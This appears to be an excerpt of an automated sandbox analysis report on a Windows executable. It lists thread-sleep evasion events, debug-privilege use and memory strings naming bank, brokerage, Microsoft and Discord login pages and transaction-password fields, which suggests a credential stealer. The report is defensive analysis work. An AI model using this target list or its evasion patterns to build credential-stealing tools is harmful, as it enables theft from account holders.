Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598340	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598191	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598071	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595395	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595278	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595168	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593610	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Window / User API: threadDelayed 3035			Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Window / User API: threadDelayed 6785			Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4708	Thread sleep count: 3035 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4708	Thread sleep count: 6785 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598340s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598191s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -598071s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595395s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595278s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595168s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe TID: 4916	Thread sleep time: -593610s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598340	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598191	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598071	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595395	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595278	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595168	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 593610	Jump to behavior

Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4034472681.0000000000EF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000004082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Code function: 0_2_05828AA8 LdrInitializeThunk,

0_2_05828AA8

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Users\user\Desktop\Lpjrd6Wxad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
